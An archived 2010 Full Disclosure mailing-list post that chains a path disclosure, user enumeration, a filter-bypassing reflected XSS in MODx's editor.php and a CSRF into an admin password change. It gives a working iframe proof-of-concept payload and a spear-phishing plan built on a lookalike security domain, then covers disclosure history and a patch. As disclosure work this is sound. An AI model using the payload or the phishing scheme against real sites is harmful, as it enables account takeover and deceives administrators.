Full Disclosure mailing list archives
Mod-X Multiple Vulnerabilities (exploit chaining)
From: Tyler Borland <tborland1 () gmail com>
Date: Tue, 24 Aug 2010 13:39:01 -0400
Got bored and decided to break the new website of the company I work for. Throughout I'll be dropping two new exploits that were chained to allow the changing of the administrative password of a default mod-x install. This is not a full review of mod-x, my main goal was just to break something, so I went with the first exploit I found. If you know me, you know I don't disclose unless you can exploit without user interaction. However, I thought it was a cool writeup on how security mechanisms were bypassed that I thought I would share. Did not discover much input that can be manipulated until I ran across a modx extension called ditto. Through ditto, I was able to discover a full path disclosure: http://www.victim.com/archives?myDittoCall_year=2009&myDittoCall_month=false&myDittoCall_day=false&myDittoCall_start[]=0 Error message: « MODx Parse Error » MODx encountered the following error while attempting to parse the requested resource: « PHP Parse Error » PHP error debug Error: htmlspecialchars() expects parameter 1 to be string, array given Error type/ Nr.: Warning - 2 File: /var/www/vhosts/ victim.com/httpdocs/assets/snippets/ditto/classes/ditto.class.inc.php Line: 1077 Line 1077 source: $query[htmlspecialchars($param, ENT_QUOTES)] = htmlspecialchars($value, ENT_QUOTES); Parser timing MySQL: 0.0022 s (19 Requests) PHP: 0.1612 s Total: 0.1633 s Effected Code (even though error is pretty verbose): foreach ($_GET as $param=>$value) { if ($param != 'id' && $param != 'q') { $query[htmlspecialchars($param, ENT_QUOTES)] = htmlspecialchars($value, ENT_QUOTES); } } First things first, htmlspecialchars with ENT_QUOTES seems to be messing with all of our injections. No charset appears to be specified, let's take a look at their default charset, perhaps one was specially set. UTF-8 is default charset, no special reflective injection point. However, we do have a full path disclosure and we now know that victim.comis running modx, let's go download that! *After fscking around, found that they use Evolution and not Revolution version of mod-x* http://www.victim.com/manager/ - Our login entry point. Looks like there's no nonce checking so csrf is a viable option after some modification. First, let's acquire some sort of username we can use to manipulate/create users (or something of equal fun). http://www.victim.com/manager/index.php?action=show_form Very nice! The forgot password form is happy to verify if the user exists via the email or not. Good chances that the email will be user () victim com. This information can be used to advance our attack. After a lot of looking around and guessing names I finally ran across a valid user by looking around the site for contact emails and other usernames. Turns out it was a marketing person (+1 SE aid). After finding a valid user email, I was able to now work on crafting the exploit and using spear social engineering to exponentially increase the likelihood of an attack (spear phishing is very successful). Now, there are all sorts of valid CSRF around. However, we have a problem. victim.com/manager/index.php checks referrers. index.php includes/requires the actions that we want to have fun with. a.) Attack vector 1: See how strenuous the checks are for the referrer. Possibly attack a hosted sub-domain or another application (blog? Open source apps seem to work together.). if (!empty($referer)) { if (!preg_match('/^'.preg_quote(MODX_SITE_URL, '/').'/i', $referer)) { b.) Attack vector 2: Find a CSRF outside of index.php or directly access included/required files so referrer check is never executed. Problem is direct includes don't work on most of the fun scripts because of: if (IN_MANAGER_MODE != "true") die("<b>INCLUDE_ORDERING_ERROR</b><br /><br />Please use the MODx Content Manager instead of accessing this file directly."); c.) Attack vector 3: Somehow get the script on the site. Not likely otherwise this would probably never be needed. d.) Attack vector 4: Find an xss to reflect a self-submitting form. However, protect.inc.php seems to have basic xss protection and is included in most scripts. '@<script[^>]*?>.*?</script>@si', '@&#(\d+);@e', '@\[\[(.*?)\]\]@si', '@\[!(.*?)!\]@si', '@\[\~(.*?)\~\]@si', '@\[\((.*?)\)\]@si', '@{{(.*?)}}@si', '@\[\+(.*?)\+\]@si', '@\[\*(.*?)\*\]@si' After a bit of digging around (<30 minutes) in the scripts, I found a simple injection point in /manager/media/ImageEditor/editor.php. <title>Image Editor - <?php echo $_GET['img']; ?></title> Great! However, protect.inc.php is included. So <script> gets stripped. That's alright, let's find another way to run our javascript. </title></head><body onload="alert('hi');"> This is why blacklists fail. Now all we need is a self-submitting form by placing javascript inside onload. Current Injection: </title></head><body onload='document.formcool.submit();'><form name='formcool' method='POST' action=' http://victim.com/manager/index.php?a=34'><input type='hidden' name='id' value=''><input type='hidden' name='pass1' value='admin2' /><input type='hidden' name='pass2' value='admin2' /><input type='submit' name='save' value='Submit+Query' /></form> *We've crafted a self-submitting POST to execute a password change on the logged in user. While id is a variable, it is not needed and will execute on the current logged in user. Now, we'll place an iframe on our test site to attack our test modx installation. PoC: attacksite.com/xploit.html: HI! Password change recently? <br /> <iframe src="http://victim.com/manager/media/ImageEditor/editor.php?img=</title></head><body onload='document.formcool.submit();'><form name='formcool' method='POST' action='http://victim.com/manager/index.php?a=34'><input type='hidden' name='id' value=''><input type='hidden' name='pass1' value='admin2' /><input type='hidden' name='pass2' value='admin2' /><input type='submit' name='save' value='Submit+Query' /></form>" /> *So, iframe points to xss on target domain which will execute our CSRF which simply changes the logged in user's password to 'admin2'. Of course, this can be hidden in a valid website (my SE is included below). Login: setcookie('modx_remember_manager', $_SESSION['mgrShortname'], time()+60*60*24*365 <---- Save cookie for 60 days, 60 hours, 24 minutes, and 365 seconds. If cookies are saved, like your average user, we will have the past 60 days for our exploit to have executed without worrying about them logging after viewing our malicious SE site. Login: remember me is an option for indefinite storeage. My Social Engineer (The company I work for is a security company. So an exploit on the site would be an emberassment if someone who doesn't work here would find one. This is how I built the SE): .info's are now $3. modxsecurity.info anyone? Not taken! We could even do modxsecurity.com if we wanted to spend more and make that average user think it's even more legitimate. Well, we know that this is pretty much a default installation. No file I've checked has deviated from default. So it's simple to find security problems with their installation, report it to the email we discovered earlier saying they have x amount of vulnerabilities and our malicious website is a guide on how to fix it. Then point to our modxsecurity.com site with instructions on several misconfigurations/exploits and how to fix. Have hidden iframe placed in background that refreshes to make sure user is logged in an attempt injection. The iframe could be wrapped in ajax to execute iframe every minute or so to make sure to catch them when they're logged in. To stop generating traffic after exploit works, a test login using something like cURL can be made and the response checked for successful login. Best part is, even if found user is not capable of web administration, they would logically forward it to those who are which would still execute our attack. In this instance, a better PoC would likely be made because username may not be known (*note - passwords can be sent via email which may include username, adding administrators is possible, modifying pages with php in context of logged in user is possible, and etc.). Ethical Disclosure: CSRF had been reported: http://bugs.modx.com/browse/MODX-206 However, referrer check was added on 22/Jul/08 4:00 PM and tokenizing was suggested and attempted implementation on 08/Oct/09 1:38 AM, however not much has been implemented in this regards. XSS reported: http://bugs.modx.com/browse/MODX-2281 *Had manually emailed and got a response on August 12th. Was finally able to create ticket on the 16th. Found that no one was assigned, commented, and etc. for a week. It is a minor bug (as I filed it as such), however the application of it can make it a bit more destructive (as shown above). As all issues are now public knowledge and given time, public release with patch considerations for those needing it. Patching: It's relatively simple, just find: mod-x-install-path/manager/media/ImageEditor/ and edit the file editor.php on the line 22: <title>Image Editor - <?php echo $_GET['img']; ?></title> With: <title>Image Editor - <?php echo htmlspecialchars($_GET['img'], ENT_QUOTES, 'UTF-8'); ?></title> This should not break anything as it's not saved in a variable and is only shown in the title bar of the browser on this one page. As for the other protection like CSRF, might want to wait for the mod-x team on this one. I hope after a couple years from the original bug report, they have a little something that just needs some tweaking without breaking how their manager operates. ~TurboBorland~
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Mod-X Multiple Vulnerabilities (exploit chaining) Tyler Borland (Aug 24)